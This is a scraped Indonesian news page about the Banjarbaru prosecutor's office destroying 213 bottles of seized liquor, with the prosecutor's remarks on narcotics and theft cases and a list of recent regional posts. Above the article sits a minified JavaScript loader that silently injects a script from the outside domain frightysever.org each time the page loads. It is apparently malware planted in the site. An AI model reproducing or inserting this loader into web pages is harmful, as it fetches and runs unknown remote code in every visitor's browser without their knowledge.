(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Barbuk Miras Dimusnahkan Berkurang, Kajari Banjarbaru: Kasus Paling Banyak Narkotika


KANALKALIMANTAN.COM, BANJARBARU – Kepala Kejaksaan Negeri Banjarbaru, Andri Irawan mengklaim terjadi penurunan pada pemusnahan barang bukti minuman keras (Miras) dibandingkan akhir tahun 2020.

Kepala Kejaksaan Negeri Banjarbaru, Andri Irawan. Foto: dewi

“Pemusnahan ini kalau kita lihat dari segi kuantitas mulai menurun dibandingkan yang kita lakukan di akhir tahun 2020, tahun lalu Miras yang kita musnahkan itu 800 botol lebih, nah sekarang 213 botol,” kata Andri.

Kajari Banjarbaru mengaku penurunan itu, indikasi dari keberhasilan para penyidik, Satpol PP untuk melakukan razia dan menekan peredaran dari Miras dan Narkotika di Kota Banjarbaru.

 

 

Baca juga: Viagra, Obat Ilegal, Sabu hingga Miras Dimusnahkan Kejari Banjarbaru

Kendati begitu, ia menerangkan pada masa pandemi seperti ini, tidak ada pengurangan dari segi jumlah penanganan perkara.

“Kalau dari segi penanganan perkara hampir sama saja, kalkulasinya tidak cukup jauh, cuman dari segi barang buktinya yang saya lihat akan semakin menurun,” ucapnya.

“Dan memang kita berharap sekali Perda kita sokong, seperti Perda miras dan prostitusi di Banjarbaru. Karena menurut kami ini sangat bagus, tidak semua daerah di Indonesia punya Perda seperti itu. Alhamdulillah Provinsi Kalimantan Selatan dan Kota Banjarbaru memilikinya,” sambungnya.

Diketahui untuk jumlah perkara yang sudah ditangani Kejari Banjarbaru sampai sekarang sekitar 200 kasus. Rata-rata dalam satu tahun Kejari Banjarbaru mampu menangani 150 sampai 500 perkara.

“Untuk sekarang kasus paling banyak ada pada kasus Naroktika, kemudian pencurian. Pencurian ini mungkin berkolerasi dengan situasi pandemi,” ujarnya berasumsi.

Baca juga: Sejumlah Nakes di Banjarbaru Terpapar Covid-19, Mayoritas OTG dan Gejala Ringan

Andri menyebut pada tahun 2021 untuk hukuman kasus terberat yang dijalani adalah kasus Narkotika yakni putusan 11 tahun.

“Seingat saya yang terberat itu yang di atas 5 Kg ada 11 tahun hukumannya,” pungkasnya. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Risa

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

10 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

12 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

12 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

13 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

14 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

15 jam ago